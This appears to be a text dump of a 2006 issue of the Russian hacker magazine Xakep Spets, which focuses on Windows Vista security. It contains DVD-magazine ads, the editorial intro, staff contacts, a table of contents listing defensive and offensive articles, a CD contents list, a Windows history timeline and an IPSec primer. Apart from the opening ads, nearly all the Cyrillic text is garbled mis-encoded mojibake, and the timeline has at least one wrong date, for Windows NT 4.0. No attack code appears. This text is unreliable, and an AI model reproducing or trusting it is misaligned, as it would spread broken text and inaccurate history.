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Думаешь, что посмотреть сегодня вечером?
Выбираем кино с TOTAL DVD! 

Все о кино – читай о блокбастерах месяца, размышляй о лентах 
вместе со звездами, выбирай на какой сеанс пойти

•
Все о DVD – самые лучшие релизы месяца, более 50 обзоров, море 

интервью
•

...и немного о технологиях будущего! Телевидение высокой 
четкости, плазмы и многое другое!

Total DVD – ультимативный журнал для киноманов! 
Каждый журнал комплектуется DVD-приложением с великолепным 

полнометражным фильмом категории «А» (качество изображения и звука на 
диске соответствует лучшим мировым релизам), подборкой трейлеров и анонсов 

новых картин и роликами к DVD-релизам.

Ищешь себе технику для домашнего кинотеатра?
«DVD Эксперт» – самый лучший гид по аудио- 
видео- новинкам! 
Все о Hi-Fi, High End и Home Cinema!
•
Пошаговые инструкции по составлению и инсталляции системы 
домашнего кино
•
Лучшие системы и компоненты месяца – рай для новичков. Более 50 
самых новых моделей в оценочных и сравнительных тестах
•
Готовые системы, интервью, самые свежие новости индустрии
Всегда на лезвии прогресса! 

Выбираем домашний кинотеатр с журналом «DVD Эксперт»! 
Сейчас это стильно, это модно, это доступно, это просто!  
Каждый журнал комплектуется DVD-приложением с великолепным полнометражным 
фильмом категории «А» (качество изображения и звука на диске соответствует 
лучшим мировым релизам) и тестами для настройки системы хоум синема.



Íà ýòîò ðàç, òîâàðèù, ìû îòîðâàëèñü ïî ïîëíîé.
À äåëî áûëî òàê...

Ñíà÷àëà ìû êðåïêî ïîäóìàëè ìîçãîì 
è ðåøèëè: «À íå ïîðà ëè íàì ñåðüåçíî âçÿòüñÿ 
çà Windows? Êîíå÷íî, çà íåå íå áðàëñÿ òîëüêî
ëåíèâûé, íî ìû-òî ïîñòóïèì êðó÷å! Ìû ñêà÷àåì
Vista Beta 2, íàðåæåì åå íà ÄÂÄ è îòïðàâèì
ñ ìàëåíêèì ïðÿíè÷íûì ãíîìèêîì â äàëåêóþ-
äàëåêóþ ñòðàíó, ãäå ïîä õîëìîì íà áåðåãó
ìîëî÷íîé ðåêè ñ êèñåëüíûìè áåðåãàìè æèâåò 
â ñâîåé íîðêå ìàëåíüêèé ìûøúõ Êðèñ
Êàñïåðñêè. Ïóñòü îí åå òî÷èò è ïèøåò ñòàòüè!». 
È âåäü íåïëîõàÿ áûëà èäåÿ — ñäåëàòü 
òðó-õàêåðñêîå èññëåäîâàíèå ñèëàìè òðó-õàêåðà!
Áóäåì íàäåÿòüñÿ, ÷òî ó íàñ ýòî ïîëó÷èëîñü, 
íî ñóäèòü, òðàäèöèîííî, òåáå.

Îé-îé. Ïîëó÷àåòñÿ, ÷òî ÿ ïðÿìî â èíòðå
óõèòðèëñÿ íà÷àòü ñ ðàñêðûòèÿ ýêñêëþçèâíîãî
áîíóñà ýòîãî íîìåðà. ×òî äåëàòü? Ïðî ÷òî æå 
ìíå òåïåðü ðàññêàçàòü? Ìîæåò áûòü, ïðî òî, 
÷òî ìû îõâàòèëè è çàùèòíûå àñïåêòû —
íàïðèìåð IPSEC, ïîêîâûðÿëè (íå áåç óñïåõà)
òåõíîëîãèþ .NET Remoting?

Íåò! Íå áóäó ÿ ýòîãî ðàññêàçûâàòü —
ñàì âñå ïîéìåøü, ÷èòàé òåìó íîìåðà è íå
îòâëåêàéñÿ íà èíòðî.

Äîáðûé
Äîêòîð
Ëîçîâñêèé

intro



Ìíåíèå ðåäàêöèè íå âñåãäà ñîâïàäàåò ñ ìíåíèåì àâòîðîâ. 
Âñå ìàòåðèàëû  ýòîãî íîìåðà ïðåäñòàâëÿþò ñîáîé ëèøü èíôîðìàöèþ ê ðàçìûøëåíèþ.
Ðåäàêöèÿ íå íåñåò îòâåòñòâåííîñòè çà íåçàêîííûå äåéñòâèÿ, ñîâåðøåííûå 
ñ åå èñïîëüçîâàíèåì, è âîçìîæíûé ïðè÷èíåííûé óùåðá.
Çà ïåðåïå÷àòêó íàøèõ ìàòåðèàëîâ áåç ñïðîñà — ïðåñëåäóåì.

ÐÅÄÀÊÖÈß
Ãëàâíûé ðåäàêòîð 
Íèêîëàé «AvaLANche» ×åðåïàíîâ (avalanche@real.xakep.ru)
Âûïóñêàþùèå ðåäàêòîðû 
Àëåêñàíäð «Dr.Klouniz» Ëîçîâñêèé (alexander@real.xakep.ru)
Àíäðåé Êàðîëèê (andrusha@real.xakep.ru)
Ðåäàêòîð CD
Èâàí «SkyWriter» Êàñàòåíêî (sky@real.xakep.ru)
Ëèòåðàòóðíûé ðåäàêòîð 
Íàñòÿ Ãëóõîâà 
Àðò-äèðåêòîð
Èâàí Âàñèí (vasin@real.xakep.ru)
Äèçàéíåð
Íàòàëüÿ Æóêîâà (zhukova@real.xakep.ru)
Âåðñòàëüùèê
Àíäðåé Êàðàìíîâ (karamnoff@real.xakep.ru)
Öâåòîêîððåêòîð
Àëåêñàíäð Êèñåëåâ (kiselev@real.xakep.ru)

OÒÄÅË ÐÅÊËÀÌÛ
Äèðåêòîð ïî ðåêëàìå
Èãîðü Ïèñêóíîâ (igor@gameland.ru)
Ðóêîâîäèòåëü îòäåëà ðåêëàìû öèôðîâîé ãðóïïû
Îëüãà Áàñîâà (olga@gameland.ru)
Ìåíåäæåðû îòäåëà
Îëüãà Eìåëüÿíöåâà (olgaeml@gameland.ru)
Åâãåíèÿ Ãîðÿ÷åâà (goryacheva@gameland.ru)
Îêñàíà Àëåõèíà (alekhina@gameland.ru)
òåë.:   (495) 935.70.34
ôàêñ: (495) 780.88.24

ÎÒÄÅË ÄÈÑÒÐÈÁÓÖÈÈ
Äèðåêòîð îòäåëà äèñòðèáóöèè è ìàðêåòèíãà 
Âëàäèìèð Ñìèðíîâ (vladimir@gameland.ru)
Îïòîâîå ðàñïðîñòðàíåíèå 
Àíäðåé Ñòåïàíîâ (andrey@gameland.ru)
Ïîäïèñêà
Àëåêñåé Ïîïîâ (popov@gameland.ru)
Ðåãèîíàëüíîå ðîçíè÷íîå ðàñïðîñòðàíåíèå
Òàòüÿíà Êîøåëåâà (kosheleva@gameland.ru)
òåë.:   (495) 935.70.34
ôàêñ: (495) 780.88.24

ÈÍÔÎÐÌÀÖÈß Î ÂÀÊÀÍÑÈßÕ
ÈÇÄÀÒÅËÜÑÒÂÀ «ÃÅÉÌ ËÝÍÄ»
Ìåíåäæåð îòäåëà ïî ðàáîòå ñ ïåðñîíàëîì 
Ìàðèíà Íàõàëîâà (nahalova@gameland.ru)
òåë.:   (495) 935.70.34 (äîá. 454)

ÈÇÄÀÒÅËÜÑÒÂÎ «ÃÅÉÌ ËÅÍÄ»
Ãåíåðàëüíûé Äèðåêòîð
Äìèòðèé Àãàðóíîâ (dmitri@gameland.ru)
Óïðàâëÿþùèé Äèðåêòîð
Äàâèä Øîñòàê (shostak@gameland.ru)
Äèðåêòîð ïî ðàçâèòèþ
Ïàøà Ðîìàíîâñêèé (romanovski@gameland.ru)
Äèðåêòîð ïî ïåðñîíàëó
Ìèõàèë Ñòåïàíîâ (stepanovm@gameland.ru)
Ôèíàíñîâûé äèðåêòîð
Åëåíà Äèàíîâà (dianova@gameland.ru)
Èçäàòåëü öèôðîâîé ãðóïïû
Áîðèñ Ñêâîðöîâ (boris@gameland.ru)
Ðåäàêöèîííûé äèðåêòîð öèôðîâîé ãðóïïû
Àëåêñàíäð Ñèäîðîâñêèé (sidorovsky@gameland.ru)

ÈÍÔÎÐÌÀÖÈß Î ÏÎÄÏÈÑÊÅ
Áåñïëàòíûé òåë.: 8 (800) 200-3-999

ÄËß ÏÈÑÅÌ
101000, Ìîñêâà, Ãëàâïî÷òàìò, à/ÿ 652, Õàêåð Ñïåö
spec@real.xakep.ru

Îòïå÷àòàíî â òèïîãðàôèè «ScanWeb», Ôèíëÿíäèÿ
Çàðåãèñòðèðîâàíî â Ìèíèñòåðñòâå Ðîññèéñêîé Ôåäåðàöèè 
ïî äåëàì ïå÷àòè, òåëåðàäèîâåùàíèþ 
è ñðåäñòâàì ìàññîâûõ êîììóíèêàöèé 
ÏÈ ¹  77-12014 îò 4 ìàðòà 2002 ã.
Òèðàæ 42 000 ýêçåìïëÿðîâ. 
Öåíà äîãîâîðíàÿ.

Å Æ Å Ì Å Ñ ß × Í Û É
Ò Å Ì À Ò È × Å Ñ Ê È É
Ê Î Ì Ï Ü Þ Ò Å Ð Í Û É
Æ Ó Ð Í À Ë

1 1 | 7 2 | 2 0 0 6
W W W . X A K E P . R U

ÇÀÙÈÒÀ Ó×ÀÑÒÊÀ

•10 ÁËÎÊ-ÏÎÑÒ
ïðàêòè÷åñêîå ïðèìåíåíèå IPSec

•20 ÌÀÐØ-ÁÐÎÑÎÊ
äèíàìè÷åñêîå èçìåíåíèå ïðàâèë ôàéðâîëà

•24 ÌÀÑÊÈÐÎÂÊÀ ÍÀ ÌÅÑÒÍÎÑÒÈ 
çàùèòà ñåòåâîãî òðàôèêà ïðîâîäíûõ è áåñïðîâîäíûõ
winxp-êëèåíòîâ

.NET ÄËß ÎÁÎÐÎÍÙÈÊÀ

•28 ÁÈÒÂÀ Â ÊÀÍÀËÅ
îáçîð è áåçîïàñíîñòü àðõèòåêòóðû ñèñòåìû êàíàëîâ
â Windows Vista

•34 ÁÓÊÂÀ ÇÀÊÎÍÀ
îáçîð cryptoapi â MS Windows Vista

•38 ÍÀ ÑÒÐÀÆÅ ÏÎÐßÄÊÀ
îáçîð áåçîïàñíîñòè ñëóæá Windows Vista
íà ïðèìåðå àíòèøïèîíñêîãî ÏÎ

•44 ÐÀÇÂÅÄÊÀ ÁÎÅÌ
àðõèòåêòóðà ñèñòåìû âûïîëíåíèÿ ïðîãðàìì â Windows Vista

ØÒÓÐÌÎÂÎÉ ÎÒÐßÄ

•48 ÔËÅØ-ÍÀÏÀÄÅÍÈÅ
âîðîâñòâî ïàðîëåé ÷åðåç usb-äåâàéñ

•50 ÍÎÂÎÑÒÈ Ñ ËÈÍÈÈ ÔÐÎÍÒÀ
òîïîâûå óÿçâèìîñòè XP ýòîãî ãîäà

WINDOWS VISTA EXTREME TEST

•54 TEST 1
ïîãðóæåíèå â íåäðà Vista/Longhorn

•58 TEST 2
ãëóáèíû è âåðøèíû ñåòåâîãî ñòåêà Vista

•62 TEST 3
áåçîïàñíîñòü Vista kernel

•68 TEST 4
ãðàáåæ ìåäèà-êîíòåíòà

•72 TEST 5
êàê õàêåðû ëîìàþò âåëèêèé patch-guard îò MS

SPECIAL DELIVERY

•80 SPECIAL ÈÍÒÅÐÂÜÞ
èíòåðâüþ ñ Offtopic'îì

•82 SPECIAL ÎÁÇÎÐ 
óìíûå êíèãè

•84 SPECIAL FAQ
âîïðîñû ýêñïåðòó

•86 SPECIAL ÎÏÐÎÑ
ìíåíèÿ ïðîôåññèîíàëîâ



SOFT

•92 ADMINING
áåçîïàñíîñòü ïðîòîêîëîâ ýëåêòðîííîé ïî÷òû

ÍARD

•98 HOME MADE PHOTOS
äîìàøíèå ôîòîïðèíòåðû äëÿ îòëè÷íûõ ñíèìêîâ

CREW

•102 E-ÌÛËÎ
ïèøèòå ïèñüìà!

STORY

•104 ÐÀÑÑÊÀÇ
ïàìïåðñû èëè overclocking

•112 ÈÑÕÎÄÍÈÊÈ ÂÑÅËÅÍÍÎÉ
íà ãëóáèíå ìûùúõ’à

offtopic

ÝÊÑÏÅÐÒ ÍÎÌÅÐÀ ßßÐÎÑËÀÂ ÒÒÐÓÕÀ×ÅÂ
ÍÀ×ÀËÜÍÈÊ IT-ÄÅÏÀÐÒÀÌÅÍÒÀ ÊÐÓÏÍÅÉØÅÃÎ

ÏÎÑÒÀÂÙÈÊÀ ÑÏÅÖÒÅÕÍÈÊÈ: «ÎÑÍÎÂÍÀß ÐÎËÜ

IT-ÑÏÅÖÈÀËÈÑÒÀ ÍÀ ËÞÁÎÌ ÏÐÅÄÏÐÈßÒÈÈ —

ÎÁÅÑÏÅ×ÅÍÈÅ ÑÒÀÁÈËÜÍÎÑÒÈ È ÁÅÇÎÏÀÑÍÎÑÒÈ

ÁÈÇÍÅÑ-ÏÐÎÖÅÑÑÀ. ÍÅÂÀÆÍÎ, ÊÀÊÀß Ó ÒÅÁß

ÎÏÅÐÀÖÈÎÍÍÀß ÑÈÑÒÅÌÀ — WINDOWS, LINUX

ÈËÈ ÄÐÓÃÀß. ÅÅ ÍÀÄÅÆÍÎÑÒÜ Â ÈÒÎÃÅ ÇÀÂÈÑÈÒ 

ÎÒ ÏÐÀÂÈËÜÍÎÉ ÍÀÑÒÐÎÉÊÈ È ÑÎÁËÞÄÅÍÈß

ÏÎËÈÒÈÊÈ ÁÅÇÎÏÀÑÍÎÑÒÈ»



ÒÅÁÅ ÍÈÊÎÃÄÀ ÍÅ ÃÐÅÇÈËÎÑÜ, ×ÒÎ ÒÛ ÅÄÅØÜ 

ÍÀ ÎÃÐÎÌÍÎÌ ÁÐÎÍÅÏÎÅÇÄÅ, ÊÎÒÎÐÎÌÓ ÂÑÅ 

ÍÈ ÏÎ ×ÅÌ, Ê ÑÂÎÅÉ ÇÀÂÅÒÍÎÉ ÖÅËÈ, È ÍÈ×ÒÎ 

ÍÅ Â ÑÈËÀÕ ÒÅÁÅ ÏÎÌÅØÀÒÜ? ÌÛ ÇÍÀÅÌ ÑÏÎÑÎÁ, 

ÊÀÊ ÑÄÅËÀÒÜ ÒÂÎÉ ÊÎÌÏÜÞÒÅÐ ÒÀÊÈÌ

ÁÐÎÍÅÏÎÅÇÄÎÌ, ÓÑÒÎÉ×ÈÂÛÌ È ÁÅÇÎÏÀÑÍÛÌ. 

ÅÑËÈ ÒÅÁÅ ÝÒÀ ÈÄÅß ÏÎ ÄÓØÅ, ÒÎ ÕÂÀÒÈÒ ÌÅÄËÈÒÜ —

ÂÑÒÀÂËßÉ ÄÈÑÊ Â CD-ROM!

ÀÍÒÈÁÈÎÒÈÊÈ
DrWeb 4.33 äëÿ Windows XP/2003

Kaspersky Internet Security 6.0.0.303

Norton Antivirus 2007

Norton Internet Security 2007

Microsoft Windows Defender Beta 2

ÈÌÌÓÍÎ-
ÑÒÈÌÓËßÒÎÐÛ
Agnitum Outpost Pro 3.51

ZoneAlarm Security Suite 6.5

ZoneAlarm Pro 6.5

ZoneAlarm Free Edition 6.5

.NET

.NET framework 2.0

.NET framework 2.0 SDK

.NET framework 3.0 PreRelease

ÂÈÒÀÌÈÍÛ
Áàãè â .NET-remoting'å

Îáíîâëåíèÿ äëÿ Windows XP/2003

c
d:
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Âñå öåíû äåéñòâèòåëüíû íà ìîìåíò ïóáëèêàöèè ðåêëàìû



Èñòîðèÿ ðàçâèòèÿ îïåðàöèîííûõ ñèñ-
òåì äëÿ ïåðñîíàëüíûõ êîìïüþòåðîâ
íà÷àëàñü ñ ÎÑ MS-DOS (Microsoft Disk
Operation System). «ÄÎÑ» ïîñòàâëÿ-
ëàñü ñ íîâûìè êîìïüþòåðàìè îò IBM.
Êñòàòè ãîâîðÿ, «ÄÎÑ» õîòü è áûëà âû-
ïóùåíà Microsoft, íî íå ÿâëÿëàñü îðè-
ãèíàëüíîé ðàçðàáîòêîé — äî íåå ñó-
ùåñòâîâàëà «îïåðàöèîíêà» ïîä íàç-
âàíèåì QDOS, ñîçäàííàÿ êîìïàíèåé
Seattle Computer Products. À Áèëë Ãåéòñ
ïðîñòî âçÿë è ïåðåäåëàë åå. 

1990

Âûïóñê Windows 3.0 — êðóïíûé êîì-
ìåð÷åñêèé óñïåõ êîðïîðàöèè Micro-
soft. Êîòîðûé, âïðî÷åì, ñ íåáà íå
óïàë. Çàáëàãîâðåìåííî ïåðåä âûïóñ-
êîì íîâîé ñèñòåìû áûëà ïðîâåäåíà
îãðîìíàÿ ðåêëàìíàÿ êîìïàíèÿ — áû-
ëî âëîæåíî â ðåêëàìó áîëåå 7 ìèëëè-
îíîâ äîëëàðîâ, ðàñïðîñòðàíåíî ïî-
ðÿäêà 250 òûñÿ÷ áåñïëàòíûõ äåìîí-
ñòðàöèîííûõ äèñêåò è ïî âñåé ñòðàíå
áûëè îðãàíèçîâàíû àãèòàöèîííûå ñå-
ìèíàðû. Ïàðàëëåëüíî Microsoft ïðåð-

âàëà ñîòðóäíè÷åñòâî ñ IBM ïî ñîâìå-
ñòíîé ðàçðàáîòêå íîâîé îïåðàöèîí-
íîé ñèñòåìû OS/2. Ïî ñëîâàì Ãåéòñà,
äî ýòîãî IBM âèäåëà â Windows ëèøü
ïðîìåæóòî÷íîå çâåíî ìåæäó DOS è
OS/2, íî íå áîëåå òîãî. Òåïåðü, ïðåî-
äîëåâ âíóòðåííèå îãðàíè÷åíèÿ DOS,
Windows ñàìà ïðîòèâîïîñòàâëÿëàñü
OS/2. Ìîæíî ñêàçàòü, ÷òî Windows íà-
÷àëà ñâîå ïîáåäîíîñíîå øåñòâèå,
ñòàâ ôàêòè÷åñêè ñòàíäàðòîì äëÿ IBM
PC ñîâìåñòèìûõ êîìïüþòåðîâ.

timeline
Àíäðåé Êàðîëèê 
andrusha@real.xakep.ru

Microsoft âûïóñòèëà Windows 2.0, èí-
òåðôåéñ êîòîðîé åùå ñèëüíåå ïîõîæ
íà èíòåðôåéñ Macintosh. Áûëî ïðî-
äàíî áîëüøå ìèëëèîíà êîïèé Win-
dows, ÷òî ñòàëî ïåðâûì øàãîì ê çà-
âîåâàíèþ ìåñòà ïîä ñîëíöåì. À êîã-
äà Microsoft âûïóñòèëà Excel äëÿ PC,
ïîçèöèè ïðîèçâîäèòåëåé PC ïî îòíî-
øåíèþ ê Macintosh òîëüêî óñèëè-
ëèñü. Íàïðÿæåííîñòü â îòíîøåíèÿõ ñ

Apple ðîñëà. Âåäü äî ýòîãî â Apple
ñ÷èòàëè Windows ïðèìèòèâíûì ïðî-
äóêòîì äëÿ PC, íå èìåþùèì ñåðüåç-
íîãî çíà÷åíèÿ íà ðûíêå. Òåïåðü åå
ñòàëè ñ÷èòàòü óãðîçîé Macintosh.
Ïîñêîëüêó ìíîãèå êîìïàíèè, êîòî-
ðûå ðàáîòàëè èñêëþ÷èòåëüíî íà Ma-
cintosh, òåïåðü çàíÿëèñü â òîì ÷èñëå
è ðàçðàáîòêîé ïðîãðàììíîãî îáåñ-
ïå÷åíèÿ äëÿ Windows.

19851981

Ïîÿâèëàñü ïåðâàÿ âåðñèÿ Windows
1.0, íà ñîçäàíèå êîòîðîé óøëî 110000
÷àñîâ òðóäà ïðîãðàììèñòîâ. Íî êîãäà
áûëà âûïóùåíà Windows, íåìíîãèå
ìàøèíû ìîãëè ôàêòè÷åñêè ðàáîòàòü
ñ ýòîé ñðåäîé. Äëÿ ïîëó÷åíèÿ ïðèåì-
ëåìûõ ðåçóëüòàòîâ íóæåí áûë êàê
ìèíèìóì PC AT, à äëÿ ïðèëè÷íîãî
èçîáðàæåíèÿ — öâåòíîé ìîíèòîð, êî-
òîðûé âõîäèë â êîìïëåêò íå êàæäîãî
PC. Óæå òîãäà â Apple ñ íåãàòèâîì ïî-
êîñèëèñü íà ãðàôè÷åñêèå ïîëüçîâà-

òåëüñêèå èíòåðôåéñû äëÿ PC, êîòî-
ðûå áûëè ê òîìó æå ïîõîæè íà èíòåð-
ôåéñ êîìïüþòåðîâ Lisa è Macintosh.
Íî Áèëë Ãåéòñ âåë ðàáîòó íàä ïðîã-
ðàììàìè Word è Excel, êîòîðûå áûëè
ñàìûìè ïîïóëÿðíûìè ïðîäóêòàìè
Microsoft äëÿ Macintosh. È ÷òîáû íå ïè-
ëèòü ñóê, íà êîòîðîì ñèäèøü, â Apple
ïîäïèñàëè ñîãëàøåíèå ñ Microsoft, â
êîòîðîì ðàçðåøàëîñü èñïîëüçîâàòü
íåêîòîðûå âíåøíèå õàðàêòåðèñòèêè
èíòåðôåéñà Macintosh.

1987



Äåâÿíîñòî ïÿòûé ñòàë ïîâîðîòíûì:
«îêíà» óâèäåëè ñâåò òàêèìè, êàêèìè
âñå ïðèâûêëè èõ âèäåòü ñåé÷àñ. Â
äåíü âûõîäà íîâîé ÎÑ ëþäè ïðàçä-
íîâàëè ïîáåäó íàä ÏÊ. Windows 95
îòêðûë äëÿ ïîëüçîâàòåëÿ ìèð èãð ñ
øèêàðíîé ãðàôèêîé, ìèð çâóêîâ, ìèð
ïðîñòîòû óñòàíîâêè íà ÎÑ íîâûõ
ïðîãðàìì è óäîáñòâî ðàáîòû ñ íî-
âûì «æåëåçîì». Ìèð, îò êîòîðîãî
ñåé÷àñ óæå ñëîæíî îòêàçàòüñÿ, äàæå
íåñìîòðÿ íà åãî «øàòêîñòü». 

1992 1995

Ïîñëå âåðñèé 3.1 è 3.11 Microsoft óæå
âîñïðèíèìàëàñü êàê êîìïàíèÿ, ðàç-
ðàáàòûâàþùàÿ ñèñòåìû äëÿ äîìàø-
íèõ êîìïüþòåðîâ. ÎÑ îò Áèëëà Ãåéò-
ñà ìîãëè ïîëüçîâàòüñÿ íå òîëüêî ìíî-
ãîîïûòíûå ïðîãðàììèñòû, íî è îáû÷-
íûå ïîëüçîâàòåëè. Äîñòóïíîñòü ïî öå-
íå ñäåëàëà Windows áåçóìíî ïðèâëå-
êàòåëüíîé. Õîòÿ Windows è âñå åå ìî-
äèôèêàöèè íå áûëè ñàìîñòîÿòåëüíîé
ÎÑ, ýòî áûëî ÷òî-òî òèïà äîïîëíè-
òåëüíîãî ÏÎ äëÿ MS-DOS, êîòîðîå
ðàñøèðÿëî åãî âîçìîæíîñòè.

1998

×åðåç òðè ãîäà ýòîò ìèð ìîäåðíèçè-
ðîâàëñÿ è ñòàë åùå ïðîùå, óäîáíåå è
ïðèÿòíåå. Íî Windows 98 ïðàêòè÷åñ-
êè íè÷åì íå îòëè÷àëàñü îò ïðåäøåñò-
âåííèöû. Âñå òî, ÷òî ïðåäëàãàëà
ïîëüçîâàòåëÿì Windows 98, îíè ìîã-
ëè ïîëó÷èòü â Windows 95, ïðîñòî äî-
óñòàíîâèâ äîïîëíèòåëüíûå ïðîãðàì-
ìû. Ôàêòè÷åñêè Windows 98 áûëà
ñâîåîáðàçíûì Service Pack'îì äëÿ
Win95.

1993-1998

Ïàðàëëåëüíî ñ ðàçðàáîòêîé Windows
95 â Microsoft ðàçðàáàòûâàëè îïåðà-
öèîííóþ ñèñòåìó, îðèåíòèðîâàííóþ
íà ñåðâåðíîå èñïîëüçîâàíèå, —
Windows NT. Ïåðâàÿ âåðñèÿ (Windows
NT 3.5) óâèäåëà ñâåò â 1993 ãîäó, âòî-
ðàÿ (NT 4.0) — â 1998-ì. Îäèí èç
ãëàâíûõ ïëþñîâ íîâîé ñèñòåìû —
ïîääåðæêà ðàáîòû ñ 32-ðàçðÿäíûìè

ïðîöåññîðàìè. Íî âñÿ «âåëèêàÿ è
óæàñíàÿ» êîðïîðàöèÿ Microsoft áûëà
ïîñòðîåíà íà îäíîì îáìàíå: íèêàêèõ
ãåíèàëüíûõ ïðîðûâîâ îíà íå ñäåëà-
ëà, òîëüêî ãåíèàëüíî çàèìñòâîâàëà
èäåè è ðàçðàáîòêè äðóãèõ êîìïàíèé.
Windows NT íå ñòàëà èñêëþ÷åíèåì:
åå ïðîîáðàç — îïåðàöèîííàÿ ñèñòå-
ìà OS/2. 

2000

NT äåéñòâèòåëüíî áûëà íàèáîëåå
ñòàáèëüíîé ñèñòåìîé, ïîýòîìó íà åå
îñíîâå áûëà âûïóùåíà Windows
2000. Ïî çàäóìêå, îíà äîëæíà áûëà
«ïîäàðèòü» âñå ïëþñû íàäåæíîé «ýí-
òèøêè» ïîëüçîâàòåëÿì äîìàøíèõ
ÏÊ. ×òî è ñäåëàëà — Windows 2000
ñîâìåñòèëà â ñåáå âñå ïëþñû NT è
98-ãî Windows. È äî ñèõ ïîð íåêîòî-
ðûå ïîëüçîâàòåëè ñòàâÿò ñåáå íà êîìï
íå Windows XP, à Windows 95 èëè
Windows 2000.
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ÊÀÊ ÇÀÐÀÁÎÒÀÒÜ ÐÅÀËÜÍÛÅ ÄÅÍÜÃÈ ÍÀ ÑÀÉÒÅ
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íåìíîãî òòåîðèè. IPSec ìîæåò ïðèìåíÿòüñÿ
â òðàíñïîðòíîì èëè òóííåëüíîì ðåæèìå. Â ïåðâîì
ðåæèìå ïðèìåíÿåòñÿ äëÿ çàùèòû ñîåäèíåíèÿ
«òî÷êà — òî÷êà», íàïðèìåð ìåæäó äâóìÿ êîìïüþ-
òåðàìè, ïðèíàäëåæàùèìè îäíîé ëîêàëüíîé ñåòè.
Â òóííåëüíîì ðåæèìå IPSec ïðèìåíÿåòñÿ äëÿ îáú-
åäèíåíèÿ äâóõ óäàëåííûõ îôèñîâ è äëÿ ïðåäîñòàâ-
ëåíèÿ äîñòóïà êîìïüþòåðà ê óäàëåííîìó îôèñó.

Ïðè ðàáîòå â òðàíñïîðòíîì ðåæèìå IPSec îñ-
òàâëÿåò IP-çàãîëîâîê íåèçìåííûì (çà èñêëþ÷åíèåì
íîìåðà ïðîòîêîëà) è èíêàïñóëèðóåò äàííûå ïîñëå
íåãî. Ïðè ðàáîòå â òóííåëüíîì ðåæèìå IPSec äî-
áàâëÿåò íîâûé IP-çàãîëîâîê ê ïàêåòó è èíêàïñóëè-
ðóåò ïðåæíèé IP-çàãîëîâîê è äàííûå ïîñëå íåãî.

Èç âîçìîæíîñòåé, ïðåäîñòàâëÿåìûõ IPSec,
AH (Authentication Header) — çàãîëîâîê àóòåíòè-
ôèêàöèè — ïîçâîëÿåò äîáàâëÿòü öèôðîâóþ ïîä-
ïèñü ê êàæäîìó ïàêåòó. Ïðè ýòîì ïîäïèñûâàþòñÿ
äàííûå è íà òðàíñïîðòíîì, è íà ñåòåâîì óðîâíÿõ.

ESP — Encapsulating Security Payload (èíêàï-

ñóëÿöèÿ äàííûõ áåçîïàñíîñòè) — ìåòîä, ïîçâîëÿ-
þùèé è ïîäïèñûâàòü, è øèôðîâàòü ïàêåòû.

Â ðåàëèçàöèè Microsoft äëÿ öèôðîâîé ïîäïè-
ñè ìîæíî èñïîëüçîâàòü àëãîðèòìû SHA1 è MD5,
à äëÿ øèôðîâàíèÿ — DES è Triple DES (3DES).
Äðóãèå ïðîèçâîäèòåëè ïîääåðæèâàþò è AES,
íî Microsoft îáåùàåò ïîääåðæêó AES äëÿ IPSec
òîëüêî â Windows Vista. Â Windows 2000/XP/2003
îí ïîääåðæèâàòüñÿ íå áóäåò.

IPSec ðàáîòàåò, èñõîäÿ èç ïðåäïîëîæåíèÿ,
÷òî ó âçàèìîäåéñòâóþùèõ ñòîðîí óæå åñòü êëþ÷è
äëÿ øèôðîâàíèÿ. Ïîýòîìó êëþ÷è ëèáî ââîäÿòñÿ
âðó÷íóþ (è òîãäà îíè îñòàþòñÿ íåèçìåííûìè íà
ïðîòÿæåíèè âñåãî IPSec-ñîåäèíåíèÿ), ëèáî ïîëó-
÷àþòñÿ ñ èñïîëüçîâàíèåì ïðîòîêîëà IKE (Internet
Key Exchange) — ïðîòîêîëà îáìåíà êëþ÷àìè â íå-
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áåçîïàñíîé ñðåäå (ïðè ýòîì êëþ÷è âî âðåìÿ ñåàí-
ñà ïåðèîäè÷åñêè ìåíÿþòñÿ).

Ïðè èñïîëüçîâàíèè ïðîòîêîëà IKE ïðîöåäó-
ðà óñòàíîâêè IPSec-ñîåäèíåíèÿ ïðîèñõîäèò â íåñ-
êîëüêî ýòàïîâ:

1 Âçàèìîäåéñòâóþùèå ñòîðîíû äîãîâàðèâà-
þòñÿ î ïàðàìåòðàõ IKE-ñîåäèíåíèÿ. Èì íóæíî
âûáðàòü àëãîðèòì øèôðîâàíèÿ (DES èëè 3DES) è
ìåòîä ïðîâåðêè öåëîñòíîñòè (SHA1 èëè MD5),
ãðóïïó Äèôôè-Õåëìàíà (àëãîðèòì îáìåíà êëþ÷à-
ìè) è ñðîê äåéñòâèÿ ñåàíñîâîãî êëþ÷à. Åñëè ñòî-
ðîíû äîãîâîðèëèñü îá ýòèõ ïàðàìåòðàõ, òî íà÷è-
íàåòñÿ âòîðîé ýòàï.

2 Âçàèìîäåéñòâóþùèå ñòîðîíû äîãîâàðèâà-
þòñÿ î ïàðàìåòðàõ IPSec-ñîåäèíåíèÿ. Èì íóæíî
âûáðàòü ìåòîä èíêàïñóëÿöèè (AH è/èëè ESP), àë-
ãîðèòì ïðîâåðêè ïîäëèííîñòè (SHA1 èëè MD5),
àëãîðèòì øèôðîâàíèÿ (DES èëè 3DES) è ñðîê
äåéñòâèÿ ñåàíñîâîãî êëþ÷à.

Ïåðåä ñîçäàíèåì IPSec-ñîåäèíåíèÿ âçàèìî-
äåéñòâóþùèå ñòîðîíû äîëæíû àóòåíòèôèöèðî-
âàòü äðóã äðóãà. Microsoft ïîääåðæèâàåò òðè âèäà
àóòåíòèôèêàöèè:

1 KERBEROS — ÑÀÌÛÉ ÁÅÇÎÏÀÑÍÛÉ ÌÅ-
ÒÎÄ, ÍÎ ÂÎÇÌÎÆÅÍ ÎÍ ÒÎËÜÊÎ, ÅÑËÈ
ÊÎÌÏÜÞÒÅÐÛ ÏÐÈÍÀÄËÅÆÀÒ ÎÄÍÎÌÓ
ÄÎÌÅÍÓ (ÈËÈ ÌÅÆÄÓ ÄÎÌÅÍÀÌÈ ÑÓÙÅ-
ÑÒÂÓÞÒ ÄÎÂÅÐÈÒÅËÜÍÛÅ ÎÒÍÎØÅÍÈß).

2 Ñ ÏÎÌÎÙÜÞ ÑÅÐÒÈÔÈÊÀÒÎÂ.
ÄËß ÝÒÎÃÎ ÍÓÆÍÎ, ×ÒÎÁÛ ÍÅÎÁÕÎÄÈ-
ÌÛÉ ÑÅÐÒÈÔÈÊÀÒ ÁÛË ÓÑÒÀÍÎÂËÅÍ
Â ËÈ×ÍÛÕ ÑÅÐÒÈÔÈÊÀÒÀÕ Ó×ÅÒÍÎÉ ÇÀ-
ÏÈÑÈ ÊÎÌÏÜÞÒÅÐÎÂ.

